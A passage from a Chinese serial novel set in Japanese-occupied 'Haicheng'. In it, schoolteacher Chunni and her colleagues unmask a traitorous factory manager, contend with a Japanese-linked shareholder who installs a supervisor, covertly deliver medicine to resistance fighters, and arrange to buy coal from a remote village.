大伙差点没被这个又蠢又毒的女人气疯。 要不是校长说,还要指望她的证词帮张乾坤脱罪,黄丽花当场就能被愤怒的师生们活撕了。 即便如此,黄丽花被拽出学校时,身上也沾了好几口浓痰。 真相大白,几名学生的事眼看能够顺利解决,老师们都松了口气。 校长百思不得其解:“学校教她免费读书,给她免费饭吃,怎么还养出个白眼狼呢?”这是又钻了牛角尖。 “一个娘养的还有不一样呢,一个学校这么些人,出一两个坏胚算不了啥,”季老师说校长一句,笑着问春妮:“小顾老师,是不是又舍不得请我们吃蟹宴了?看你愁的这劲。” 春妮心不在焉地笑了笑,想起消失的赵发财:还是得让人把他揪出来,毕竟他手上还有学校一成的股份。学校股份留在这种人手里,总是会让人担心的。 不过,他的事不是最紧要的。 那些人这样了解她的交际圈子和行事习惯,必定在她学校,甚至是她身边安插的有人,那么,这个人,他会是谁? 第115章 115 好消息 一个中午的时间, 赵发财包括他家的人和他家的狗,消失得无影无踪。 他就像没出现在海城过一样,所有的邻居, 亲戚朋友, 包括生意伙伴从那一天起,再也没人见过他。 跟春妮一样,韩厂长同样表现出了对工厂股份的担心。 这一点方校长倒是看得开,劝他道:“反正他不经过我们的同意,也卖不了,我们只当多出钱做了慈善。” “要是真做了慈善倒好,给他还不如喂狗。”韩厂长也只能闲聊时抱怨一句, 凉席进入了淡季,并不代表工厂的活就不用干了。 韩厂 长一天比一天忙碌。 鲁师父那事已经有了些眉目, 这些天,他天天早出晚归,就是在抓这事。 往好处想,赵发财的消失, 至少对张乾坤是一件好事。 原告失踪,加上还有目击证人黄丽花的有力证词, 巡捕房按程序,羁押期满一个月,没有新证据提交上去, 放他出了巡捕房。 至于黄丽花,校长虽然表态说, 只要她认识到错误,得到张乾坤的原谅,并赔偿张家的损失, 随时欢迎复课。但她若真是个有良心的人,怎么会为一点小利就被赵发财引诱上钩? 何况那次的公审让全校人都认识了她的真面目,即使校长提出条件,说了既往不咎,但学校里人都知道她干了什么好事,别人可不会像校长那么好性。她真敢回学校来,肉眼可见的日子不会好过。 甚至季老师还专门跑到校长面前说,若是黄丽花回来,她要申请调班,不会再去教她。 最后,黄丽花如众人所愿地没好意思回来。她是家中长女,不上学就要负责养家,以她的个性,工厂这么辛苦的地方肯定待不下去,后来春妮听学校周围的小混混跟旁人吹嘘说,黄丽花去向导社当了向导,自己还去光顾过两次她的生意云云。 这次的事件总算有惊无险。 就像方校长他们在此次事件的复盘会议上所担忧的那样,不能放松警惕,倭国人没有那么好糊弄,这次的危机是不是真的过去,还要再观察一段时间才能下定论。 他也终于下定了决心,等风头过去之后,就着手安排工厂的第二次搬迁。 按照他们的猜测,这些倭国人可能不止是看中了工厂的厚利和良好的发展前景,学校这两千多个优质学生,包括身在码头的优越地理位置,可能都在他们的觊觎之中。 毕竟工厂虽然赚了些钱,但海城的有钱人多的是,工厂这点小利,在别人眼里,可能还没有赌桌上一晚上撒出去的多。 王老六早就告诉过春妮,现在城西那一带的赌场,起码有一半以上都有76号的插手。他们把持着来钱最快的赌场业,利润最惊人的地下走私渠道据说也掺了一脚。还有海城市面上泛滥的烟土,这些都是最赚钱的行业。 就连普通的倭国商人都能利用倭国人对生活必须品的严控捞到大笔钱财。现在冬天将到,市面上八成以上的煤炭资源可都是从倭国人开的商店里流出来的。 钱,倭国人有的是地方弄。 但能够调动租界的英方巡捕房为做事,还指挥得了那么多高手围缫她,这可不是一般倭国人做得到的。 对了,那位绑架夏生未遂的路元奎,几天后,他的身份春妮也查了出来。他跟76号的打手娄大成一样,以前是海城一个叫元帮的小帮派头领,后来被倭国海城商会招募,当了他们的打手。 至于倭国海城商会,那只是明面上的称呼,实际上,它是倭国黑龙会在华国东部的大本营。黑龙会的历史来源很久,它对外虽然只是一个倭国民间组织,但据说在前朝末年就渗入华国负责情报刺探,连它的名字,“黑龙”的“黑”都是取自于华国北部黑省的名字,黑龙会本身的存在,便是为了侵华服务。 那么,那位同她在茶室说话的人,必然就是黑龙会的成员。 难道说,他们看中了学校的人和位置,想将其发展为另一处情报点?因为她是学校的中坚力量,所以他们首选对付她? 那这样的话,方校长和韩厂长,包括王老师都会是他们的目标。 春妮忽然庆幸,幸好他们选择了自己,换成另外几个人,他们肯定招架不住对方这样绵密狠辣的设计。 在韩厂长忙着抓内奸期间,方校长还带着春妮去了一趟江宅拜访江致清。 春妮刚开始买的是江致清名下江南轮船公司的船票,最开始她没出现的那几天,是轮船公司船员帮她作的证,说她在那艘船上,否则,学校这次的舆论战没那么快打赢。 不过,跟之前过中秋节一样,出面接待他们的,是江致清的管家万起山。他告诉师生两人,江致清不在海城,还说春妮遭遇的,是倭国人最常用的手段。 通常他们想控制一个人,就是先让你惹上麻烦,不得不求助于他们。倘若有人没坚持住中了计,那么成为他们的傀儡是必然的事。 时人送礼一般送烟送酒,这次上门,春妮送了江家一瓶五升装的壳牌机油。 万管家大为欢喜:欧洲战事愈演愈烈,为防物资短缺,市面上所有机械类的辅助保养部件全部被倭国人严格控制。江家的高档汽车多,倭国人这样一卡,他们底下办事的人更加为难。 江致清是主人家,不需要操心这些庶务,万管家这段时日正在为此类物资烦心,再又听说港城的机油市场不知怎么回事猛涨一波,几乎被人买空,弄得他们拿着钱也买不到东西。他这段时间还在想,若是真的国内买不到,说不定还要让人乘飞机去欧洲一趟采购。 这个年头,飞机的失事率相当高,不是军方,或是急事,没谁愿意乘坐。 现在春妮送来了急需的东西,万管家高兴之余,给了她自己私宅的地址,让春妮有空多去走动。他消息灵通,自然知道这小姑娘在港城出差之际,还帮同事们带了些市面上难以买到的外国货,猜测她肯定有自己的渠道。 春妮自然不知道,她那一波在港城抢购带来的余波开始发力。告别江宅之后,她总算是能稍微缓口气,好好歇了几天。 冬日将近,春妮想歇,也没有多少时间让她歇。学校的煤炭去年是她偷偷找那些皇协军弄来的,今年这个任务自然当仁不让,又落到了她头上。 跟去年相比,学校的规模扩建有以前的十倍之多,即使需要的煤炭没有随之涨到十倍那么多,但也成了一个沉重的负担。 跟春妮交易的那些皇协军受到她的启发,胆子变大了不少,春妮忙活自己官司的那段时间,他们找到了新客户,跟她谈条件,要求涨价。现在市面上的东西都在涨,让他们按去年的价卖也不现实,春妮倒是没太抵触这件事。 但光靠他们今天一担,明天一担地偷卖,也支持不了两千多人的需求,何况还有她的小吃摊。 七月毕业的学生中,有一些迟迟找不到工作,春妮只好安排一部分到她的小吃摊干活学手艺,现在她的小吃摊以学校为中心,又开了两个分摊,都是学生们在照应。赚钱是不用想的,能维持日常运转就不错了。 因为煤炭严重馈乏,校长将学校的大锅灶全部改成了柴灶,但室内烧水取暖总不能还用柴吧?而且海城附近可没这么些山林支持一个城居民的需求。 这些小问题听上去不大,但解决起来,也的确让人头秃。 千头万绪的琐事之中,总算还有个好消息传出来。 一个周日的早上,韩厂长让人告诉他们,那个泄露舒老师在温南的人找到了,叫他们到老仓库找他。 虽然口风是从鲁师父那里漏出来的,但鲁师父从未有机会接近学校的核心机密,方校长他们都觉得,泄秘的另有其人。 郑经理。 韩厂长应该用了些手段,他们见到郑经理时,对方精神已经将近崩溃,他嚎得涕泗横流:“我为自己着想怎么了?这个世道,不自私的人活不下去!我来你们厂里就是为了赚钱,谁给我钱,我他妈给谁干活!再说了,姓韩的,我不什么都还没说?你用得着这么狠吗?人不为己——” “人不为己天诛地灭?你知道来收买你的人是谁吗?是倭国人!你要为了倭国人出卖自己国人?” “……我,我不知道。韩厂长,你饶了我吧,我有一大家子人要养活,我是不得已的啊。” “谁他妈不是有一大家子养?姓郑的,我问你,工厂什么时候亏待过你,你传出这样的谣言,是想让工厂倒闭?” 倭国人接手海城之后,严禁海城跟后方的商业活动。温南如今在政府军手中,如果被倭国人知道他们在温南有分厂,说不定什么时候,一个“通敌”的帽子就扣了下来。那么,先前那两名以“抗倭”之名被抓起来的学生就回不来了,学校也会有大|麻烦。 要是真让郑经理抓住证据,那人几发连动,学校的主人现在 恐怕已经换了人。 “我,我……我说了我什么都不知道,厂长,你就饶我一回吧。我是没办法啊。” 韩厂长揍了他几拳,一口唾沫吐在他身上:“你不知道?你天天跟这么些人打交道,会不知道?” 郑经理躲着拳头,伏地痛哭一阵子,见韩厂长不动了,突然直起身来,大骂道:“就算我知道又怎么样?华国都要倒了,我给倭国人做事是顺应大势!我小老百姓没啥大志向,就想吃碗饱饭,谁给我饭吃,我给谁干活。我没错,错的是这个世道!我当华国人我吃不饱饭,这华国人不当也罢!” “我打死你这个没有祖宗,没有良心的狗东西!”方校长怒不可遏,冲了上去:“海城大街上每天那么多饿死的人,全是被倭国人祸害,在家乡活不下去的小老百姓。你不是不知道,还昧着良心给倭国人做事,简直狗都不如!” 韩厂长跟上去,踹他几个窝心脚:“你这种没骨头的东西,真以为我们华国想收你?有本事,你想去哪去哪。可惜啊,像你这样的货色,想当狗都没人肯要,只能赖在我们华国丢人现眼。” “好了好了,不能再打了,再打,他就要死了。” 王老师害怕出人命,连忙劝住了韩厂长和方校长。 两个男人发泄过愤怒,也冷静了下来。 韩厂长问:“那他怎么办?” “出了这种事,工厂肯定不能再留你了。郑经理,你走吧。”方校长疲惫地说。 “走就走,总有一天,我会跟你们证明,我说的才是对的!”郑经理爬起来,一瘸一拐离开了仓库。 路过春妮时,他瑟缩了一下,没敢看她。 他走之后,韩厂长捂着脸蹲了下来。 “……是我的错。那天我收到一封信,是舒老师从温南寄来,跟其他几个老师商量的实验论文。那封信件夹在一堆信件里面,我没仔细看,就放在桌边先去忙其他的事,被姓郑的看到了温南这两个字。但他不敢肯定是不是舒老师的地点,就悄悄跟鲁师父,还有学校的其他几个老师透露了消息……” 韩厂长住在门房,在门房的窗边弄了张桌子,时常在那张桌子上加班,帮忙收发信件。 他像个孩子一样,抱着头不放:“……他想逼我们自乱阵脚,好确定他放出来的消息是不是真的。这次是我做事不谨慎,差点连累了大家。校长,你罚我吧。” 校长叹了口气:“这件事,不是你一个人的错,我们都忘了通信的问题。这次过后,你从门房搬出来吧。正好老教室有隔间,你住到那边去,还有韩师父也搬出来。我会再请一个门房专门负责收发信件,以后温南的信都不准他们直接寄过来。” “郑经理,他说的那些话——”郑经理就负责销售,他说话原本就极有煽动力。韩厂长被他用话术对付这么久,不是没受到影响。 “当然不是真的,我们华国一定会赢!”春妮一口截断他的话。 两年多的战争,华国人胜少败多,加上倭国人对媒体的严控,以及物质生活的困苦,很多海城人从抗战之初的信心满满,到现在都或多或少地开始消极。 像郑经理那样的人也不少见。 老师们也是人,深陷魔窟之中,又差点被倭国人算计,会产生彷徨很正常。 这才是刚刚开始,以后总有更艰难的时刻,该怎么办? 春妮觉得,下次再出海城,是不是给他们弄点政府军报纸看看?搞不好能有点以毒攻毒的效果? 第116章 116 提防 郑经理走后没两天, 第三季度股东分红的日子到了。 前些日子,他们终于联系上了工厂的另一位股东——船商何意升。 他这段日子一直在跑船,前两天才有空到学校跟方校长见过一次面。他的船主要跑吴江等内陆河段, 是青帮另一位闻人华天伟座下的弟子。 而工厂的另一名股东连德江, 因为高大海又搬了一次家,学校也失去了联系到他的唯一一条渠道。 因而,这一天一到,学校没课的老师们就不约而同地往王老师的办公室凑。 他们对这位工厂最神秘的大股东可是好奇不已。 老师们这种看八卦的心情影响了春妮。 这段时间是她难得有的闲暇时光,处置完张乾坤的事,她回到小摊前好好揉了两天的面,引得食客们差点没把她的摊子挤垮。 有的是听说那桩案子赶来看热闹的, 有的纯粹是听说她回来了,馋她做的馒头, 特意赶来买馒头解馋瘾的。 现在粮食价钱高,市面上几乎没有小摊再做得起纯面粉食品,包括春妮的小摊在内。她的糊辣汤里的面团早就改成了红薯米粉,馒头也全都掺上了荞麦面, 高粱面等口感粗砺的杂粮,再也打不起功夫馒头的牌号。 但小顾姐的馒头跟她那些学生们做出来的, 又怎么会一样?这可是传说中的断根龙爪——咳咳。 春妮的小摊从天黑到天亮,从天亮再到天黑,直到值夜班的李德三来替班, 吃饭聊天的人才渐渐散去。 这两天中,春妮也了解到了不少小道消息。比如学校的另一位股东何意升。因为家里在金城有根基, 他便扎根金城和海城周围做水运,平常住在金城的湖畔别墅,很少往海城来。 春妮就听码头上的人说, 何意升家里原先是金城殷实人家,后来到海城闯荡。 他当年给了他师父华天伟一笔不菲的拜师礼,平时不参与帮中事务,不能算严格意义上的青帮弟子。他这笔拜师礼相当于变相的保护费,不止商界,政界很多人也以这种形式入过帮会。 青帮中人也愿意以这种方式壮大帮会的声势,不止不介意他们借用帮会的名头,还会以秘会,参股的方式使得这些人之间的联系更为紧密。 当然,冲着她馒头来的食客也没白跑一趟。 为了让馒头的口感更好,春妮亲自去码头磨坊借来精磨的小磨子,将那些粗粮五筛五磨,磨得比白面还细,掺在面粉里头揉制,反而令馒头多出了一种韧而绵细的口感。 粗粮其实比细粮扛饿,春妮还往面里加了少许的细盐增加口感,足工实料,咬起来粉糯糯的,另有一番风味。这下,她馒头的价格降了下来,反而比之前更划算,更加受力夫们的欢迎了。 忙碌这两天,春妮只打听到何意升的底细,对连德江,大家仍是说不清他的来历。这下,不止老师们好奇,连她的胃口也被吊了起来。 弄得分红的这天,只要一看见有车子从路口经过,春妮就要看一眼,确定是不是进到学校的。 终于,下午的时候,二丫跑来告诉春妮,说看见一辆黑车开进了学校。 春妮放下手里的事,赶紧往学校走,校门口的停车位果然停了辆黑车。 她扫过一眼,径直去了王老师的办公室。 校舍略微宽绰之后,校长给几位高管也另外弄了两间办公室。因为财务比较重要,就由他跟王老师和学校先前请的那位姓陈的老会计合用教学楼最顶端边缘的小办公室。 春妮爬上楼时,小办公室门前把守着两个穿黑西装的人。 她眼瞅着这阵势有点熟悉,仔细看了一眼那两个黑衣人,顿时脸色一变,加快脚步。 进入办公室,果然是一道眼熟的背影。 “认识一下,诸位,我姓连,叫连德江,是好多趣工厂另外三成半的股份持有人。” 方校长站起来跟他寒喧:“哦,幸会幸会,请问连先生在哪高就?” “这一点,”连德江转身过来,笑着对春妮点点头:“顾老师应该已经了解了。” 虽然还在震惊中,春妮没忘记讽刺一句:“连先生高看我了。我也没想到,一位华国人会在倭国人的清吧跟我谈生意。” 连德江涵养很好:“哦,这点倒是我没想到的。我的父亲是华国人,我是从他的姓, 但我母亲是倭国人,我自小是在倭国长大的,倭国同样是我的故乡。” 这位名叫连德江的人,正是几天前在川陕路街头抓住春妮,还差点一枪杀了她的那个人。 回学校的当天,春妮就将那几天的经历跟老师们都通报过。 几个人听到这里,哪里还有不明白的?校长脸色连变,忍不住将春妮拉到旁边:“这……他就是背后设计我们人?” 春妮掐了掐他的手,示意他先冷静,这些事可以稍后再说。 看到他的那一瞬间,春妮什么都明白了。 难怪对方会对她和学校会使用那样的计策。 他必然不会只满足于做没有决议权和管理权的第二股东,那么,让她进监狱,让学校学生背上“通倭”罪名,学校陷入通倭被关停的危机,他便可以借机同他们谈条件,要求学校放手股权和管理权,再顺利将春妮网罗到麾下。 如此,一间营利向好,又有充足后备生力军的工厂便几乎不需要付出任何代价,便顺利到了手。 想到这里,春妮不禁一阵后怕:幸好当时她逃了出来,否则,学校恐怕现在已经深陷泥潭,要么分崩离析,要么如此人所愿,已经入了他的囊中! 不过,这种事他做就做了,如果他这次不到学校,继续保持神秘,学校和她短时间之内肯定还是无法找出他的身份。 他为什么不再继续神秘下去? 连德江很快给了他们答案。 “前天,我跟赵发财先生达成了协议,他同意由我代理好多趣10%的股份。这是代理书,请几位在上面签字吧。” 校长脸色大变,抢过那张纸:“什么?!” “我不同意!”校长怒声道。 “校长!” 春妮对连德江说道:“我跟校长谈谈。”将校长拉出了门外。 “有什么好谈的?这个倭国人明显不安好心。”方校长激动又懊悔:“我早该知道,高大海的股份卖得有玄机,说不定他突然倒下来……” “您早知道有什么用?”春妮劝道:“早知道你也没法子把股份买回来。倒是那个倭国人,你可想好了,要是你不同意,说不定不用走出你的办公室——” 她以手指作枪,比了比他的脑袋。 “可这是——” “是什么是?你糊涂啦,他手上只有三成半,加上这一成,也才四成半的股份,工厂的控制权也还在我们手上。” “你说的不是没有道理。可你想想,赵发财早跟他是一伙的,我现在就是怕,何老板的那半成也有猫腻。” “就算有猫腻你能怎么办?”春妮道:“他选在这个时候现身亮明身份,就不是为了听你拒绝的话。校长,钱没了可以再赚,你想好了,真的要为了这一成的股份丢命?” “你说得轻松,那韩厂长那,你准备怎么解释?” 工厂成立之初,为了防止后来者专权,曾经规定过,工厂这一半的股份由三位高管共同管理。也就是说,一般情况下,需要有方校长,她和韩厂长三人同时在场,才能决定工厂的股权变动等重要变化。 之所以这么规定,因为工厂成立之初,只有他们三位高管。想多加一个,都没地方找人。 “我去跟他说。”春妮只能揽下这个烫手山芋。 对方是有备而来,自己这边再挣扎也是无谓之举。 “山下,你去看看,顾老师有没有什么需要帮忙的。”连德江站在门边,一直关注着她和方校长的动作,真的是一点不给他们耍花枪的机会。 最后,春妮以“对方不会染指管理权”为由,好说歹说拉来了韩厂长。 这是那天在川陕路的清吧,她跟连德江都取得的共识。相信她那把小刀的威胁,对方现在还没有忘记。 连德江果然没提要参与工厂管理,但他提了一个让韩厂长都无法拒绝的要求:“作为工厂目前的第二大股东,我要求行使我的监事权。” “监事权?” 连德江将那天用枪指着春妮的山下介绍给众人:“这位山下友幸是我的助理,他将会全权代表我在工厂行使监事权,劳驾校长为他找一间办公室,从明天开始,他会到这里来上班。” ………… 或许是为了还击在春妮面前丢掉的面子,连德江以说一不二的强势态度将他的倭国助理安插到了学校当监事。 这位山下友幸的华语不是很好,性格也似乎有些孤僻。校长他们很提防这个人,他好像也知道自己在这里不受待见,并不期待与他们的同事关系,每天一个人上班,一个人下班,两者之间很少有交流。 有时候春妮不注意,都不知道他什么时候离开的学校,是一个相当没有存在感的人。 当然,听他的名字,校长和学生就不可能真正忽视他。 至少,有他在之后,学校某些角落偶然会提到华倭战争的声音也渐渐开始消失了,校园内外一派平静。 在这种异样的平静之中,春妮一直心心念念要买的煤炭,也终于有了新的消息。 第117章 117 人情 煤炭的消息, 是一个春妮没有想到的人告诉他的。 股权事件过去没两天,春妮通过特殊渠道接到了一个任务——送药。 快一年了,常文远临走时给她安排的任务终于有了下文。 这近一年的时间里, 春妮的日子过得太过精彩, 以至于送药这件事在她经历过的事中竟不算最危险的了。 想想刚到海城的那阵子,她心里还残存着侥幸,总觉得自己踏踏实实干活,谁也不招,谁也不惹,就算辛苦点,也能把日子过下去。 她是想好好过日子, 倭国人不也不请自来了? 两年前,方校长在校会上曾念过一句话“华北之大, 已安放不得一张平静的书桌了!”【注】,她直到这几天,才有了切肤之痛。 只要倭国人在这里,海城之大, 又有哪里能真正让她能安静吃饭过日子? 消息是通过一家叫新都饭店的酒楼传递的。 常文远告诉她,如果饭店第三根石柱基座上有白垩土划的特定记号, 她就要带着药,想办法第一时间赶到他们上次去的地方。 如果她有事在身,比如需要较长时间的离开海城, 也需要在同样的地方留下暗号报备。 应该是考虑到她接收信号的方便,新都饭店也在码头附近, 就在她每天上下班,以及去菜场买菜必经的路上。 春妮原本天真以为她会像朱先生那样,有一个电台收发信息。 常文远说, 现在倭国人侦听技术很厉害,如果被人发现她的电台,反而会麻烦。 借此机会,春妮也终于弄明白,一般在敌后有电台的人,负责的工作都是比较重要的。他们需要随时接受传出重要信息,因而,他们会有专门的频道联系。 她只是备用线,不需要花费这么高昂来铺设联络渠道。做记号的人,不一定知道记号的含义,她的身份和她需要做的事。对她来说,这是隐蔽性最高的一种联络方式。 这里每天经过的人数以万计,她混在这群人里,还是挺安全的。 知道电台的重要性后,春妮难免对拥有一台电台,还能收发同时进行的朱先生又多了很多猜测。 她可不觉得,倭国人去年收走那台电台之后,朱先生就没有了其他办法。 他和夏风萍的婚礼定在十月底,这段时间,两人只要一下班,就像21世纪那些普通的未婚夫妻一样,会去昌平路的别墅买家具搞装修,忙得时常一整天不见人影。 不过,春妮也管不到他们了。 学校给春妮分的房子早就粉刷得差不多,在股东大会之后,春妮到旧货市场买了些家具,挑了个放假的好日子,由几个亲近的老师和学生一起帮忙,大家一齐动手,将她的东西都搬到了新房子。 自此,春妮两姐弟在石库门跟人合租的日子,正式结束了。 到海城奋斗两年多,期间几度险死还生,直到今天,春妮才有了自己独立的房间,想想的确是很不容易。 送药的消息,就是在春妮搬家的第二天收到的。 她去小吃摊,让蒋四成帮她向学校请了个假,中间转了几次车,在中午之前赶到了地点。 她站在芦苇荡前面,学着常文远那天的样子放出了暗号。 没一会儿,跟那天一样,一条小船从芦苇荡深处排了出来。 撑船的人她上次见过一面,两人仍没交谈。她准备跟上次一样,掏出针剂打完就走人。 做皮试等待的这段时间里,春妮听见那个撑船的人一直在咳嗽,给他抓了几颗从温南收来的贝母,道:“把这个跟梨搁在一起炖,炖烂了,连皮带核地喝几次能止咳。” 撑船人很惊喜:“谢谢大夫,这个多少钱?” 春妮摆了摆手,温南空有药材,却被倭国人扼守住海上通道,又有山匪在山中踞守,运输非常艰难,导致本地药材积压,价格比海城的白菜还便宜。 但这样便宜,一旦能成功运到海城租界,就是数以十倍,乃至百倍之利。当然,贝母不可能有百倍之利,是春妮在温南买的铁皮石斛,前几天她才卖出去一支。 光是这一支,就能弥补她这几个月到处施粥舍药送枪送弹的损失一大半。可惜珍贵药材跟她的高档机油一样,要寻找到合适的买家才能获取足够的利益,否则,就是白送给人家,人家还嫌占地方。 春妮给他的这半钱贝母,白送毫无压力。 她摆了摆手,道:“便宜的很,收不起价,不用给钱。” 两人经过这一番赠药,熟悉了起来。撑船人说自己姓孟,让春妮叫自己孟叔。孟叔不愿意欠人,一定要给春妮点什么东西,可他这里的水产,春妮回了码头,什么吃不到? 无奈之下,她看见船舱里放的煤球炉子,道:“我这什么都不缺,要是您那有多的煤,我倒很欢迎。” 孟叔正要说话,春妮笑道:“你船上的这两个就算了,顶不了什么用。我要的,可不是这么一点。” 孟叔沉默片刻,问道:“那你要多少?” 春妮看他的神色,心中一动:“怎么说也要个十吨,二十吨吧,有吗?”倭国人有本事管制城里的煤炭渠道,她就不信,他们的手还能伸到农村去,把家家户户全看起来。 “哎哟,你咋要这么多?家里开煤厂的?”孟叔吓一跳。 春妮苦笑:“要是我家里开煤厂,我还愁个什么劲。十吨二十吨您听着多,实际一块煤球少说两斤多,一吨煤也才合计八九百块煤球,光是烧水热饭,一天咱们至少要用三块煤吧?一个冬下来,用半吨煤都是少的,何况这个煤,一年四季都用得着。” 孟叔眨巴着眼睛,半天没算过劲,但有一条他听明白了:“那你就说你要半吨煤呗,一次报这么多,吓死个人。” 春妮叹道:“要是真能买到便宜煤,我一个人怎么好意思用?现在海城的煤这么贵,家里的亲戚朋友,总得分一分吧?” 她要是一个人用,倒是好办了。找皇协军去买,还是勉强能分到的。 “你倒是个热心人。”孟叔坐下来,用火镰打燃旱烟杆子,啪哒啪哒抽了起来。 “实在是城里日子难过,大伙都苦。”春妮抬腕看了下表,给病人检查了一下没有过敏,开始了注射。 这次的病人只有一个,病情也不是太复杂,她很快完成了注射。 提起药箱走人的时候,孟叔站起来叫了她一声:“大夫,你是真要买煤?” “那我还能骗您不成?”春妮望着他,恳切地道:“孟叔,您就告诉我吧。我保证严守秘密,谁也不说。” “都怪那狗日的小鬼子不给咱活路。”孟叔骂了一句,神情慎重:“闺女,我跟你说个地儿,你可千万别说出去啊。” “明白明白。” 孟叔一开口,春妮就真的明白了,为什么他这么紧张。 他说的是一个叫张庄的小村子,那里以前曾经是一个小型煤矿。早在几十年前,矿脉就给人挖空了。最近日子难过,城里买不着煤,就有心眼灵活的去张庄煤矿碰运气,说如果能在那边再挖到点煤,也好倒腾倒腾,卖到城里赚一笔。 结果这几人运气不赖,竟然在不远的山脉里找到了一点,应该是以前煤矿没挖干净的部分,已经悄悄开挖了一阵子。 同一个地界,这边有煤不敢卖,卖不出去,那边缺煤缺到按需购买,还经常买不到。 孟叔说:“也就是我婆娘娘家在那,我们出船的,还是在船上烧煤球安全,她回娘家给我带了几块来烧,不然我也不得晓得。娃娃啊,你可千万不能说,要叫倭国人晓得了,我婆娘村里人就活不得了。” 果然跟她先前猜的差不多,孟叔是本地人,那么,被他送来治病的病人,肯定跟城外那些反抗分子脱不了干系。 春妮道:“我肯定不会说,但你们那边是不是好多人都晓得了?我不说,难保别人不会说。” “也没有多少人晓得。他们那边在山边上,倭国人只去过一回,还没找到地方,就再没去过了。” 原来张庄虽然在海城边缘,其实不属于海城管辖。而且因为在山边交界处,山上还有土匪盘踞,两边行政区的倭国人都嫌那边路难走,没油水,基本不朝那挪步,倒是省了被祸害。 孟叔说得也很实在:“你要的煤太多,我们没能耐给你运出来。反正你是城里人,我跟你说这个门道,也是给他们找条出路。说出来不怕你笑,我婆娘那村靠山,地贫得很,穷得上吊都找不到麻绳。你要是有心,价钱别砍得太厉害,给他们一点活命的钱就好。” 搭上话就是有了点交情,何况人家肯将这样的事告诉你,也是不小的人情。春妮谢过孟叔,给了他一些纱布和酒精,让他下次再有伤员时,先用这两样东西消毒,减少感染风险。 再给他一点羊肠线和缝针,孟叔笑得比自己得了那点贝母还开心。 其实他送过来的伤员,伤口处理得很干净,处理的人应该是受过粗浅的护理训练。但可能是缺少医药,他们的伤口只是用布条和草木灰止了血,仍然有不小的感染风险。 春妮兴冲冲回了学校,找校长把这事说了。只说她知道一个小村子有渠道弄到煤,具体位置没说。 校长也很开心,问她道:“你看,我们的卡车能不能开到那边去?” 张庄离学校远,肯定不能像去年一样,让春妮用空间装,每天都去运。 最好一次拉完,次数多了,还有暴露的风险。 “试试看呗。这我哪知道?” 校长点点头,忽然脸色一变:“那……山下那边,咱们怎么说?” 春妮脸色也是一变:猛地得知这么个好消息,差点把那条狗给忘了!他天天在学校蹲着,谁知道有多少事都被他看了去?煤炭是战略物资,倭国人严禁私卖,万一叫他知道来历,那就完了。 有这么个人盯在这,想干点什么都要思前想后,真是麻烦。 师生两个正自头疼,却听王老师说:“你们两个也是想得多。就是没有山下在,你们开车去开车回,车上这么些煤,谁眼睛都不瞎,能让你们顺利过关?” 是哦,倭国人沿路设的关卡也不是摆着看的。 “那怎么办?”校长和春妮转过身来,异口同声。 第118章 118 沉默 第二天, 春妮先独自去了张庄探路。 那个地方果然如孟叔所说,位置相当偏僻。 春妮拿她的山地自行车作弊,也找了几乎一整天, 走错好几回 路, 在路人的指点下,才找到正确的位置。 听她说是打渔的孟叔介绍来的,村子里的人才热情起来:“是周翠家的男人哪,晓得晓得,那是个热心肠的好人。” 完了又带春妮去看货:乌突突的煤渣就堆放在一个山洞里。 村民跟她解释说:“不敢放在外头,怕山上土匪来抢。” 春妮顺着他手指去看林子,配合地压低声音:“有土匪啊?那他们凶不凶?” “姑娘你莫怕, 他们没干啥坏事,不祸害我们乡邻, 就是有时候打打枪,有点吓人。”可能以为她吓到了,村民忙往回找补。 春妮往山上看了看,那山说起来是山, 其实比土坡高不了多少,山中分布着几丛黑松和毛竹。这点小山, 就算是藏的有土匪,杀伤力也有限。 她没再管那山,又问起煤矿的情况。这村民就谨慎很多了, 转着眼珠道:“这我也说不清楚啊,你问这个干嘛叻?” 还是挺警惕的。 春妮道:“我也怕我们要的东西你们拿不出来, 想先看到矿,让我心里有个数。” “指定能拿出来,就是我们不用, 也保证给你们先弄出来。姑娘,你真要四百担?”这年月,一担指的是一百斤,四百担是四万斤,合计二十吨。 “那我还能骗你不成?不过我先说好了,我要煤球,你们这些才挖出来没处理过的煤渣,我拿回去也用不了。” “应该的应该的,我们保准给你都弄成煤球筛出来。” 最后,村民找来村长,春妮给了五块大洋当定金,挑了两担煤球先带回去给校长看货。两边约定好五天后到陈庄十里外的苇荡子取货,便先行离开。 不是春妮不想直接开车来取货,就像王老师说的那样,车子目标大是其一,再者,张庄有煤这个事,知道的人越少越好。学校现在不比以前,明晃晃就有个山下友幸扎在眼皮子底下呢。暗地里,谁也说不准会不会再有个郑经理咬你一口。 等走到四下无人处,春妮将煤球放进空间,拿出自行车,跟踩风火轮似的,赶紧往城里赶。 这个村子真不是一般的难走,这个年代也没有那么多路,难怪倭国人懒得过来。 如此,回到学校,又等了四天,第五天的上午,春妮跟校长打了声招呼,带上李铁柱他们几个壮小伙,将卡车开出了学校。 现在学校不需要做凉席,运玩具的话,装不了一卡车这么多,卡车租给外面的人拉货,也是一笔收入。 学校不想专门请个司机,正好春妮会开车,在暑假订制配件的时候,她还考了个驾照。她闲时教教几个学生,等卡车牌照上完,司机也培养出来了。学生们学完去工部局考个试,拿了驾照就能上路。 车子开到春妮上次偷偷组装破竹机配件的小山坡边缘,春妮招呼几个学生带着笸箩挑筐下了车,将卡车稍作掩饰,以山峰为掩护,挡好卡车牌号,留下两个学生照应警戒,带着其他人往芦苇荡走。 对方防着她,她也防着对方。万一被他们记下卡车牌号,自己不是被顺藤摸瓜了吗? 再有,这次交易额不低,她也得防个万一,遇上有人起心黑吃黑。 路上,她跟学生们重申规矩,要求他们出门在外,一律叫她为姐,不准问东问西,尤其不准透露他们是学生的事。 这些学生,像李铁柱,蒋四成他们,都是在上次学校的危机中经受过考验的学生。否则,春妮宁愿自己一个人多跑几趟,也不敢放心拉他们出来。何况她也不可能一个人干尽所有危险的事,总得有可靠的人分担一二。 到了芦苇荡,张庄的人已经到了。估计他们村一多半的壮劳力都出动了,有挑担子的,有背背筐的,还有赶牛车驴车的,一总儿算下来,合计有个七八吨的样子。 估计他们村这几天加班加点地在干。 这些煤比不上倭国人用的上好黑煤,但也不错,关键是便宜啊。去年她在皇协军那偷煤卖,合计下来,不到一毛钱一公斤,已经是捡了老大的便宜。而现在这么多煤,村长也才收了他们五百块大洋,一公斤才六分多钱,真的是便宜大发了。 可惜他们还得想办法找人运回租界,这路上的损耗和人力支出又是不小的一笔钱。 